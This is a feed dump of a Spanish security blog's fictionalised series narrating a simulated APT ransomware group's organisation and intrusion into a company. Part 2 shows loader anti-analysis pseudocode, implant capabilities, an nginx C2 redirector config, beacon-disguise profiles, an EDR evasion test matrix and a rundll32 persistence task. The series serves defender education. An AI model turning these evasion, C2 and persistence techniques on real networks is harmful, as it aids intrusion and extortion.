Decisión:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;score 0-2: continue
score 3-4: long sleep, reduced telemetry
score 5+: decoy mode
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El decoy mode no se autodestruía dramáticamente. Abría el PDF y terminaba. En algunos casos descargaba una imagen o un archivo inocuo para confundir el análisis.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pseudocódigo:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;c
int suspicion = 0;
suspicion += check_resources();
suspicion += check_domain_context();
suspicion += check_analysis_tools();
suspicion += check_user_activity();&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;if (suspicion &amp;gt;= 5) {
    open_decoy_pdf();
    return 0;
}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;if (suspicion &amp;gt;= 3) {
    sleep_with_jitter(6 * HOURS, 14 * HOURS);
}

enroll_host();&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La clave no era ser invisible. Era no parecer urgente.&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Nighthook: el implante que escuchaba&amp;nbsp;&lt;/h4&gt;&lt;div&gt;La segunda fase, &lt;b&gt;Nighthook&lt;/b&gt;, se descargaba solo tras aprobación del operador. Era modular, escrito en Go con partes criticas en C para llamadas Windows específicas.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Capacidades:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;core:
  - beaconing HTTP(S)
  - task queue
  - file upload/download
  - process execution con control de salida
  - in-memory module loading

windows:
  - token enumeration
  - DPAPI context discovery
  - browser profile discovery
  - named pipe communication
  - WMI/WinRM helpers

opsec:
  - rate limiting
  - command allowlist por rol
  - operator approval gates
  - self-delete
  - per-host kill switch
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nighthook no permitía a cualquier operador lanzar cualquier cosa. El panel C2 imponía controles:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Operator Saltline:
  allowed: view host, tag host, request persistence
  denied: exec, dump, lateral

Operator Knifewall:
  allowed: exec, lateral helpers, AD modules
  denied: ransomware deploy

Operator Hollow:
  allowed: file search, staging, exfil
  denied: encrypt

Operator Nadir:
  allowed: deploy encryptor only after Curator approval
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Esto no era ética. Era prevención de accidentes. Un operador impulsivo podía arruinar una campana.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;C2: capas, redirectores y perfiles&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Oboe separaba infraestructura en cinco niveles:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Victim endpoint
  -&amp;gt; redirector CDN-like
    -&amp;gt; regional front VPS
      -&amp;gt; C2 application
        -&amp;gt; operator panel behind VPN
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Los redirectores filtraban por cabeceras, rutas y origen. Si el trafico no parecía implante, devolvían contenido estático:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;nginx
location /api/v1/sync {
    if ($http_user_agent !~* &quot;Mozilla/5.0&quot;) { return 404; }
    proxy_pass https://regional-node-3.internal;
}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;location / {
    root /var/www/decoy;
    try_files $uri /index.html;
}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Los perfiles de beaconing se parecían a telemetría SaaS:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;yaml
profile: iberlogix_hr_low_noise
method: POST
uris:
  - /api/v1/sync
  - /cdn/pixel
  - /content/check
headers:
  Accept: &quot;*/*&quot;
  Content-Type: application/octet-stream
  Cache-Control: no-cache
jitter:
  min_seconds: 1200
  max_seconds: 2700
max_body_kb: 64
working_hours_bias:
  timezone: Europe/Madrid
  start: &quot;07:30&quot;
  end: &quot;20:30&quot;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El implante no hablaba constantemente. Durante las primeras veinticuatro horas, Marta Solis genero cuatro beacons. Cuatro. En un SIEM lleno de millones de eventos, era una aguja sin brillo.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;QA criminal: probar antes de quemar&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Nebula Jackal tenia un laboratorio. No era perfecto, pero imitaba entornos corporativos:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Windows 10 / 11 workstations
Windows Server 2016 / 2019 / 2022
AD con OUs realistas
Defender for Endpoint trial
EDR comerciales pirateados o evaluaciones
M365 developer tenants
Fortinet VPN lab
Veeam Community Edition
Elastic/Splunk lab
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Antes de usar SeedCrate contra IberLogix, hicieron una matriz:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Test                             Resultado
------------------------------------------------
ZIP password protected           OK
LNK executes from Downloads      OK
PDF decoy opens                  OK
DLL sideload path                OK
Defender static                  Clean
Defender behavior                Low signal
EDR A memory scan                Suspicious at 12m
EDR B network                    Clean
Sandbox Any.Run                  Decoy mode
VirusTotal upload                Prohibited internally
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La regla &quot;no VirusTotal&quot; era absoluta. Subir muestras a servicios públicos era regalar inteligencia.

Los operadores usaban entornos propios:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;powershell
.\run_lab.ps1 -Profile IberLogix -EDR Defender -Payload SeedCrate
.\simulate_click.ps1 -User marta.solis -Locale es-ES -VPNProfile madrid
.\collect_telemetry.ps1 -Window 24h&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El objetivo no era detección cero. Era detección insuficiente, tarde y ambigua.&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;El primer error de IberLogix&lt;/b&gt;&lt;/h4&gt;&lt;div&gt;Marta Solis no era ingenua. Había hecho cursos de phishing. Sabía no abrir adjuntos raros. Pero el correo no parecía raro porque hablaba de algo real. Venía en español correcto. El dominio se parecía. La pagina tenia TLS.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8f-f-qhn7mi8sTaFarFkYz9g7AoGMwFrFk2ezhDMKoVKSB4UXiDJes_9KB6Qah_ydFkW7f9kHVZLarPDXDPwKkqB8HxhtaqcDpq8iATN0OmC66tbD9ppkAWHwC45Byq7chJwQyvsqT5a5b6WOJvkUigvlglCNBABy0K1WbQHy-6sfkZSmmgrrdIK-7hoH/s1168/MartaSolis1.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1168&quot; data-original-width=&quot;784&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8f-f-qhn7mi8sTaFarFkYz9g7AoGMwFrFk2ezhDMKoVKSB4UXiDJes_9KB6Qah_ydFkW7f9kHVZLarPDXDPwKkqB8HxhtaqcDpq8iATN0OmC66tbD9ppkAWHwC45Byq7chJwQyvsqT5a5b6WOJvkUigvlglCNBABy0K1WbQHy-6sfkZSmmgrrdIK-7hoH/w269-h400/MartaSolis1.jpg&quot; width=&quot;269&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El PDF se abrió. Nada explotó. Nada pidió permisos de administrador. Nada hizo ruido.

A las 09:03, SeedCrate envió el primer beacon.

A las 09:34, Magpie marcó el host:&lt;/div&gt;&lt;div&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;host: ES-MAD-FIN-0472
user: IBERLOGIX\msolis
department: Finance
priority: 9
reason: finance manager, laptop, OneDrive, VPN, domain joined
next_action: deploy Nighthook, low noise
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

A las 11:12, Nighthook estaba instalado con persistencia ligera:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Scheduled Task:
  Name: AdobeUpdateSync
  Trigger: At user logon
  Action: rundll32.exe &quot;%APPDATA%\Adobe\Cache\version.dll&quot;,Start
  User: current
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El nombre no era perfecto. Era suficientemente mediocre. En empresas grandes, lo mediocre se mezcla mejor que lo brillante.

El primer día no hicieron nada mas.

Ese fue el segundo logro.

&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;i&gt;Continúa en &lt;a href=&quot;https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-3.html&quot;&gt;Parte 3: Dentro del bosque de Active Directory&lt;/a&gt;&amp;nbsp;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/8590199744658080650/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8590199744658080650'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8590199744658080650'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-2.html' title='Anatomía de una APT simulada. Parte 2 - La semilla, el anzuelo y el primer latido'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYsfBrhuk7Adr9DGYORtZzsKOrIBho0HuPmXVAfDZcFY778LNQTccYspS3kkiaQ64h9LlT9TsNzZADkVtBOdFD9dS173iDCOS79LTWxwhIYWERTsosmscrnP8cjPLBMLoQz_UqGS53Gf-855lVWsu7tY1UZXzGlytq4JCF-BORiGa5AQbyVK12ZpvUIQWb/s72-w640-h426-c/phishing%20Iberlogix.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-3503573753592118901</id><published>2026-05-31T01:51:27.348+02:00</published><updated>2026-06-02T00:23:26.745+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="APT"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="phishing"/><title type='text'>Anatomía de una APT simulada. Parte 1 - La empresa invisible</title><content type='html'>&lt;p class=&quot;isSelectedEnd&quot;&gt;La primera vez que apareció el nombre &lt;strong&gt;Nebula Jackal&lt;/strong&gt; no fue en un informe de inteligencia, ni en una nota de rescate, ni en un panel de EDR con un proceso marcado en rojo. Apareció en un comentario interno de un analista cansado, a las 03:17 de la madrugada, mientras revisaba un incidente que no terminaba de comportarse como ransomware común.&amp;nbsp;&lt;/p&gt;&lt;div&gt;El analista había visto ransomware antes. Había visto phishing torpe, paneles de negociación con inglés roto, scripts copiados de GitHub, operadores que confundían un controlador de dominio con un servidor de ficheros y atacantes que se delataban por la prisa. Esto era distinto. Los atacantes habían entrado con paciencia, habían mapeado la red como si conocieran la casa, habían tocado solo lo necesario, habían exfiltrado lo que dolía y habían lanzado el cifrado cuando la empresa estaba más indefensa: madrugada de domingo, cierre fiscal, copias de seguridad en rotación y equipo de guardia reducido.&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En el ticket interno, alguien escribió:&lt;/p&gt;&lt;blockquote&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;i&gt;Esto no parece una banda. Parece una compañía.&lt;/i&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y esa frase es la mejor forma de entender a Nebula Jackal.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No era un grupo de hackers románticos ni una pandilla con sudaderas en un sótano. Era una organización distribuida, con objetivos, incentivos, procesos, responsables, deuda técnica, control de calidad, turnos y una cultura de producto muy particular: su producto era el acceso, el miedo y el tiempo.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;La mesa directiva de un crimen técnico&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Nebula Jackal estaba formado por unas veinticuatro personas, aunque solo nueve conocían más de una célula. La organización real cambiaba con cada campaña, pero su núcleo era estable:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3-wKAtDgfhZjFS4gTKZfgAwPgN3MA_fftcznEZw8EICYywSHyxUfMRXKHjWJQus2ttylRv93MtDYgReXwyUfNnV1L1BXiyLvMTIr6C122KSlAcblzqvXxjD44Ru5MUkBjo1kdBAOC8b7fDGvASsQK6HNGorIdRkapr2lyPl3-BvNAvN746CxNxz5N5yRD/s1536/OrganigramaJackal.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3-wKAtDgfhZjFS4gTKZfgAwPgN3MA_fftcznEZw8EICYywSHyxUfMRXKHjWJQus2ttylRv93MtDYgReXwyUfNnV1L1BXiyLvMTIr6C122KSlAcblzqvXxjD44Ru5MUkBjo1kdBAOC8b7fDGvASsQK6HNGorIdRkapr2lyPl3-BvNAvN746CxNxz5N5yRD/w640-h426/OrganigramaJackal.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El líder era conocido como &lt;strong&gt;The Curator&lt;/strong&gt;. No escribía malware. No lanzaba comandos. No participaba en chats con víctimas. Su poder venía de otra parte: seleccionaba objetivos, aprobaba riesgos, decidía cuánto tiempo podían permanecer dentro de una red y definía el precio del silencio.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Su perfil era más cercano al de un director de operaciones que al de un exploit developer. Dominaba inglés, ruso y algo de español. Había trabajado en fraude financiero antes de entrar en ransomware. Entendía seguros ciber, ciclos de auditoría, tiempos de respuesta legal, notificación a reguladores, ventanas de mantenimiento y psicología corporativa. Sabía que una empresa no paga solo para recuperar archivos. Paga para recuperar control narrativo.&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En Nebula Jackal nadie usaba nombres reales. Tampoco utilizaban siempre el mismo alias. Cada célula tenía identidades operativas diferentes:&lt;/p&gt;&lt;b&gt;Campana Black Orchard&lt;/b&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;The Curator: direccion&lt;/li&gt;&lt;li&gt;Magpie: inteligencia&lt;/li&gt;&lt;li&gt;Saltline: phishing&lt;/li&gt;&lt;li&gt;Sable: loader y evasiones&lt;/li&gt;&lt;li&gt;Oboe: C2&lt;/li&gt;&lt;li&gt;Knifewall: Active Directory&lt;/li&gt;&lt;li&gt;Meridian: cloud y correo&lt;/li&gt;&lt;li&gt;Hollow: exfiltracion&lt;/li&gt;&lt;li&gt;Nadir: ransomware&lt;/li&gt;&lt;li&gt;Vesper: negociacion&lt;/li&gt;&lt;li&gt;Mint: finanzas&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La nacionalidad era una variable operativa, no una bandera. Había miembros de Europa del Este por tradición técnica y redes de confianza; operadores latinoamericanos por idioma, zonas horarias y conocimiento de empresas españolas; perfiles del norte de África para infraestructura y documentación falsa; y freelancers del sudeste asiático para tareas de bajo contacto, como registro de dominios, pruebas de phishing y preparación de cuentas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La regla interna era simple: nadie debía poder reconstruir toda la cadena.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El desarrollador del loader no conocía la dirección final del C2 maestro. El operador de phishing no sabía qué empresa sería cifrada. El negociador no conocía al operador que obtuvo privilegios elevados. Las mulas no sabían de dónde venía el dinero. El responsable financiero no sabía qué vector de acceso se había utilizado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La compartimentación era su primera tecnología defensiva.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Reclutamiento: no buscaban genios, buscaban piezas&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Nebula Jackal no reclutaba “hackers buenos”. Reclutaba funciones.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjadpYd72sgDouGq3NJ-uJWyPvvxUuYgRGpBbcUv35hZcHVok4AqWDtsp5uPMjwG6RNIEPqIoyBOQZWE41KOskjNA2toorFS8mnBZHjbkgvYW5SITP-pOgKdIQK9CK28l9qc9n2z7eFUKonocDbEz4qaXLCznaRzm2gUkauLDAZNrEAcBZC2TersLnjGzGX/s2496/theCurator2.jpeg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2496&quot; data-original-width=&quot;1664&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjadpYd72sgDouGq3NJ-uJWyPvvxUuYgRGpBbcUv35hZcHVok4AqWDtsp5uPMjwG6RNIEPqIoyBOQZWE41KOskjNA2toorFS8mnBZHjbkgvYW5SITP-pOgKdIQK9CK28l9qc9n2z7eFUKonocDbEz4qaXLCznaRzm2gUkauLDAZNrEAcBZC2TersLnjGzGX/s320/theCurator2.jpeg&quot; width=&quot;213&quot; /&gt;&lt;/a&gt;Un perfil de malware debía entender Windows a bajo nivel: PE headers, import tables, TLS callbacks, syscall stubs, memoria virtual, firmas de EDR, ETW, AMSI, hooks en userland, event tracing, cadenas de proceso y ruido operacional. Pero también debía saber trabajar como ingeniero: versionar, probar, instrumentar, hacer rollback y no romper la operación por ego.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un operador de intrusión debía saber moverse en dominios reales, no en laboratorios limpios. Eso significaba tolerar latencia, servidores antiguos, credenciales duplicadas, GPO contradictorias, software de backup absurdo, políticas incompletas, empleados conectados por VPN, EDR en modo mixto, segmentos OT intocables y administradores que habían dejado scripts con contraseñas en &lt;code dir=&quot;ltr&quot;&gt;SYSVOL&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un perfil de inteligencia debía saber leer una empresa como si fuera una escena del crimen antes del crimen. LinkedIn revelaba organigramas. Las ofertas de empleo revelaban tecnología. GitHub revelaba convenciones internas de nombres. Los certificados TLS revelaban subdominios. Shodan revelaba VPN. Las memorias anuales revelaban presión financiera. Las noticias de adquisiciones revelaban caos. Los comentarios de empleados revelaban frustración.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El equipo no romantizaba la técnica. Tenían una frase interna:&lt;/p&gt;&lt;blockquote&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;i&gt;El exploit abre una puerta; el calendario decide cuánto vale.&lt;/i&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso preferían atacar durante adquisiciones, migraciones cloud, auditorías, huelgas internas, cierres fiscales o despliegues de ERP. La superficie técnica importaba, pero la superficie organizativa importaba más.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Dónde trabajaban&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No había una oficina. Había distintas capas. Los miembros sénior trabajaban desde apartamentos temporales, espacios de coworking sin identidad fija, casas de familiares o viajes cortos. Utilizaban portátiles dedicados por rol, discos cifrados, sistemas operativos separados por campaña y una disciplina estricta de identidad.&lt;/p&gt;La estación de trabajo típica de un operador sénior era:&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Host fisico&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Disco cifrado completo&lt;/li&gt;&lt;li&gt;Sistema principal sin datos operativos&lt;/li&gt;&lt;li&gt;VM &quot;research&quot; para OSINT&lt;/li&gt;&lt;li&gt;VM &quot;build&quot; para compilar herramientas&lt;/li&gt;&lt;li&gt;VM &quot;ops&quot; para acceso a paneles&lt;/li&gt;&lt;li&gt;VM &quot;burner&quot; para pruebas rapidas&lt;/li&gt;&lt;li&gt;YubiKey o token FIDO para paneles internos&lt;/li&gt;&lt;li&gt;WireGuard hacia jumpbox privada&lt;/li&gt;&lt;li&gt;Navegador dedicado por identidad&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los operadores no mezclaban identidades. Una identidad podía tener correo, Telegram, wallet, VPS, dominios y paneles. Otra podía tener foros, brokers y canales de acceso inicial. Nunca se cruzaban en el mismo navegador. Nunca compartían zona horaria local. Nunca subían capturas sin limpiar metadatos. Nunca probaban malware desde su IP real.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los builds se generaban en entornos efímeros:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;repo privado -&amp;gt; runner aislado -&amp;gt; build firmado o empaquetado -&amp;gt; hash registrado -&amp;gt; artefacto cifrado -&amp;gt; staging&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El repositorio de malware no estaba en GitHub. Utilizaban un Forgejo/Gitea privado detrás de VPN, con repositorios separados por módulo:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;/seedcrate-loader&lt;/li&gt;&lt;li&gt;/nighthook-agent&lt;/li&gt;&lt;li&gt;/orchidlock-encryptor&lt;/li&gt;&lt;li&gt;/c2-panel&lt;/li&gt;&lt;li&gt;/redirector-profiles&lt;/li&gt;&lt;li&gt;/victim-portals&lt;/li&gt;&lt;li&gt;/ops-playbooks&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cada commit se firmaba con claves internas. No por confianza moral, sino por control de calidad criminal. Un fallo en producción podía costar millones.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;La cultura técnica&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Nebula Jackal funcionaba como una startup hostil.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Tenían retrospectivas después de cada campaña. Tenían métricas:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;phishing_open_rate&lt;br /&gt;&lt;/li&gt;&lt;li&gt;credential_capture_rate&lt;/li&gt;&lt;li&gt;loader_execution_rate&lt;/li&gt;&lt;li&gt;edr_block_rate&lt;/li&gt;&lt;li&gt;beacon_survival_24h&lt;/li&gt;&lt;li&gt;time_to_privilege_escalation&lt;/li&gt;&lt;li&gt;time_to_domain_admin&lt;/li&gt;&lt;li&gt;exfiltration_gb_per_hour&lt;/li&gt;&lt;li&gt;encryption_success_ratio&lt;/li&gt;&lt;li&gt;payment_probability_score&lt;/li&gt;&lt;li&gt;cashout_loss_percentage&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El phishing no se medía por clics, sino por ejecuciones válidas. El malware no se medía por detecciones en VirusTotal, sino por supervivencia en entornos con telemetría real. La intrusión no se medía por “pwned”, sino por acceso a datos, persistencia y capacidad de presión. La negociación no se medía por rescate solicitado, sino por el importe neto cobrado después de descuentos, comisiones, errores y pérdidas de cash-out.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Tenían un tablero Kanban. Las columnas eran frías:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Recon -&amp;gt; Access -&amp;gt; Foothold -&amp;gt; Expand -&amp;gt; Collect -&amp;gt; Stage -&amp;gt; Encrypt -&amp;gt; Negotiate -&amp;gt; Settle -&amp;gt; Burn&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La última columna, &lt;strong&gt;Burn&lt;/strong&gt;, era esencial. Quemar infraestructura formaba parte del ciclo: destruir paneles, cerrar VPS, rotar claves, abandonar dominios, limpiar repositorios de campaña, invalidar wallets intermedias, congelar identidades y documentar indicadores expuestos.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Roles con nombres y 